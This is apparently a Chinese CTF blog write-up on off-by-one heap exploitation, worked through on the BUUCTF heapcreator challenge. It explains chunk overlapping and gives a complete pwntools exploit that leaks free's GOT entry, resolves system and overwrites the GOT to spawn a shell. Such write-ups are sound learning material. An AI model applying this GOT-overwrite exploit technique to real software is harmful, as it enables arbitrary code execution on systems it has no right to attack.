A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

off by one

一、off by one漏洞利用的前置知识点

1.什么是off by one

off by one是指在输入的时候没有严格控制输入的数据大小,导致溢出了一个字节长度的数据。通常来说循环写入数据时没有控制循环次数(例如在循环结束时补充了‘\x00’,但是循环的次数却是缓冲区的大小),字符串处理不当(例如组合利用strlen和strcpy)

2.如何利用off by one

首先我们回顾一下chunk的结构

在已经分配的chunk里,chunk会利用下一个堆块的pre_size区域去存储数据,此时我们如果能溢出一个字节便刚好可以覆盖到size区域,从而构造出chunk overlapping。

3.chunk overlapping

chunk overlapping是堆题中十分常见的一种攻击手段。在堆里,操作系统并不会返回堆头的地址给用户,而是返回chunk的data区域,对于原本用户不具备操作权限的区域,如果此时产生了堆块的重叠,使得fake chunk的data区域正好覆盖了我们不可操作的区域,那么系统就会误以为这是一个分配的chunk,从而使得我们可以有办法控制原本不可控的地方。

二、例题 [BUUCTF]hitcontraining_heapcreator

1.程序分析

menu函数:经典的菜单界面

create函数:先申请一个0x10大小的chunk作为heaparray,然后存储接下来用户申请堆块的大小以及申请返回的指针(在合天网安的wp里分析到这里是一个结构体,但我ida看不出来,只能大致猜测)

edit函数:修改内容,但在read_input里它读取的buf长度是size+1LL,所以这里存在着off-by-one的漏洞

show函数:一个输出函数,用于输出heaparray中存放的信息。

写到这里的时候突然间领悟到heaparry的真面目。它的printf输出的是heaparray里面的数据,其中包括size和content,其中size是通过heaparray指针直接输出一个整数,说明这个地方存放了一个整型变量,然后指针+1的地方输出了我们申请堆块的内容,说明我们申请堆块后返回的指针被储存在这里。如果我们能修改这个指针的值指向任意区域,那么操作系统会误认为它有一个chunk被分配到这,通过其他的函数即可做到任意内存的读写。

delete函数:简简单单的free掉两个堆块。

2.漏洞利用大致逻辑

1.off-by-one造成chunk overlapping

2.edit修改指针到free_got,并且show打印出free_got的地址

3.计算出system地址,将free的got表覆写成system

4.执行free函数,并且将提前构造好的chunk释放,getshell!

3.具体利用

首先执行三次created函数,申请出六个堆块,其中只有三个chunk的data区是我们可以控制的。

1
2
3
create(24,"aaaa")#0
create(16,"aaaa")#1
create(16,"/bin/sh\x00")#2

接下来通过edit函数修改第一个chunk的内容造成off-by-one,修改下一个chunk的size域。

1
edit(0,"AAAAAAAAAAAAAAAAAAAAAAAAA")#overflow

现在我们可以看到第三个chunk,即第二个heaparray的chunk的size域被expend。

接下来释放这个堆块再申请回来之后,我们可以看到此时堆块的地址为0x1a3b2d0。

查看该地址附近的内容我们可以看到我们用来存储heaparray的chunk被包含在了我们的fake chunk里面,因此我们可以操纵里面的内容,剩余的就是打出free_got的地址,libc偏移找system地址,覆写got表,最后执行一次free函数。

4.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
from LibcSearcher import *
#context.log_level="debug"
p=process('./heapcreator')
libc=ELF("./libc.so")
#p=remote("node4.buuoj.cn",25137)
elf=ELF('./heapcreator')
free_got = elf.got['free']
def menu(index):
p.sendlineafter("Your choice :", str(index))
def create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def free(index):
menu(4)
p.sendlineafter("Index :", str(index))

gdb.attach(p,'b main')
create(24,"aaaa")#0
#gdb.attach(p)
create(16,"aaaa")#1
create(16,"/bin/sh\x00")#2
#gdb.attach(p)
edit(0,"AAAAAAAAAAAAAAAAAAAAAAAAA")#overflow
free(1)

payload = p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)

create(0x30,payload)
show(1)
p.recvuntil("Content : ")
#free_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#free_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
free_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(free_addr))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system=libc_base+libc.dump("system")

success("free:" + hex(free_addr))
success("system:" + hex(system))
#print(hex(system))
payload1=p64(system)
edit(1,payload1)
free(2)

p.interactive()

其中多个接受语句是因为在尝试过程中发现’\x7f’这里会卡住接收不到,后来我就直接接收不设接收标志。

三、后记

说实话这题非常简单,但是我学习堆以来第一次打出flag的题目。在做题过程中发现gdb的魅力确实大嗷,遇事不决gdb看一下。另外有个小插曲,就是我的exp打不出来我本地的libc版本,但打buu的远程docker畅通无阻。

最近对于自己的人生道路感到些许迷茫,不知道走下去会遇到什么,能不能有所成就,但一直纠结于我能否成功无济于事,好好走下去吧。